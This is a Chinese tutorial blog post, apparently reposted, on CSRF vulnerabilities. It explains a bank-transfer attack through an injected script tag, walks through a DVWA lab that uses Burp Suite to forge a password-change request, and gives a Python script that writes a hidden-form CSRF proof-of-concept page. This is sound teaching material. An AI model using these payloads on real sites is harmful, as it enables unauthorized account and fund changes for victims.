首页 > 其他 > 详细

浅谈CSRF漏洞

时间:2018-04-21 20:40:49      阅读:182      评论:0      收藏:0      [点我收藏+]
前言:
看完小迪老师的CSRF漏洞讲解。感觉不行
就自己百度学习。这是总结出来的。
 
歌曲:
 
正文:
CSRF与xss和像,但是两个是完全不一样的东西。
xss攻击(跨站脚本攻击)储存型的XSS由攻击者和受害者一同完成。xss详细介绍:点我跳转
 
CSRF(跨站脚本伪造)完全由受害者完成。攻击者不参与其中。CSRF详细介绍:点我跳转
 
CSRF原理:
 
银行转账的数据包:http://jianse.com/zhuanzhang.php?name=lu&email=xxx@qq.com&monet=1000
攻击者的博客:http://www.hack.com/index,php
把这个加入到js里面。<script src="http://jianse.com/zhuanzhang.php?name=lu&email=xxx@qq.com&monet=1000"></script>将这条代码计入到攻击者的博客。如果受害者登录了银行。而Session又没有过期,后而访问了攻击者的博客。当攻击者的博客加载好了js代码。受害者就会打了1000元给攻击者。
技术分享图片
 技术分享图片

 

实验:
这里我使用DVWA来做使CSRF漏洞实现。攻击步骤如下:
首先登录DVWA,来到CSRF这里。 注:这里我的防御等级为low
技术分享图片

 

技术分享图片
启动Burpsuite,设置代理。
技术分享图片

技术分享图片

 

技术分享图片
技术分享图片
回到刚刚的页面,输入要更改的密码。burp开启抓包
技术分享图片
 技术分享图片

 

抓到的包
技术分享图片

 

技术分享图片
构造CSRF POC
技术分享图片

 

技术分享图片
更改所需要的
技术分享图片

 

技术分享图片
点击Regenerate按钮更新POC,点击Test in browser复制链接
技术分享图片

 

技术分享图片
点击Copy按钮。复制到浏览器上使用
技术分享图片

 

技术分享图片
点击按钮实行csrf攻击。
技术分享图片

 

技术分享图片
从图中我们可以看到密码已经更改,退回登录界面。
技术分享图片

 

技术分享图片
点击登录
技术分享图片

 

技术分享图片
从图中我们可以看到,CSRF攻击已经成功实施。
既然如此我们为什么不写一个CSRF脚本呢?
代码如下:
import time
import simplejson as json
def poc():
    url="http://a2fae7a7.ngrok.io/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change"
    headers={‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36‘}
    values=url.split(‘?‘)[-1]
    urltwo=url.split(‘?‘)[:-1]
    urltwos="".join(urltwo)
    dumps={}
    for line in values.split(‘&‘):
        key,value=line.split(‘=‘,1)
        dumps[key]=value
        discts=[i for i in dumps.keys()]
    print(‘原url:‘,url)
    print(‘url原带的参数:‘,dumps)
    dumps[‘password_new‘] = ‘password‘
    dumps[‘password_conf‘] = ‘password‘
    valueswto=[g for g in  dumps.values()]
    print(‘url更该后的参数‘,dumps)
    print(‘1.burpsuite的POC‘)


    user=input(‘请进行你的选择:‘)
    if user == ‘1‘:
        print(‘burpsiuite的POC‘)
        burp=open(‘burp.html‘,‘w‘)
        burp.write(‘<html>\n‘)
        burp.write(‘<body>\n‘)
        burp.write(‘<script>history.pushState("‘‘","‘‘",‘"‘/‘"‘)</script>\n‘)
        burp.write(‘<form action="{}">\n‘.format(urltwos))
        burp.write(‘<input type="hidden" name="{}" value="{}"/>\n‘.format(discts[0],valueswto[0]))
        burp.write(‘<input type="hidden" name="{}" value="{}"/>\n‘.format(discts[1],valueswto[1]))
        burp.write(‘<input type="hidden" name="{}" value="{}"/>\n‘.format(discts[2],valueswto[2]))
        burp.write(‘<input type="submit" value="Submit CSRF POC"/>\n‘)
        burp.write(‘</form>\n‘)
        burp.write(‘</body>\n‘)
        burp.write(‘</html>\n‘)
        burp.close()
    else:
        print(‘【-】抱歉你没有进行选择,退出ing...‘)
        time.sleep(1)
        exit()



poc()

  测试结果如下:

技术分享图片

生成的html

技术分享图片

打开burp.html

技术分享图片

 

 点击按钮
技术分享图片

密码更改成功。

有关CSRF的资料:《CSRF原理》

《深入CSRF解析》

《从0开始学CSRF》

 

浅谈CSRF漏洞

原文:https://www.cnblogs.com/haq5201314/p/8903239.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!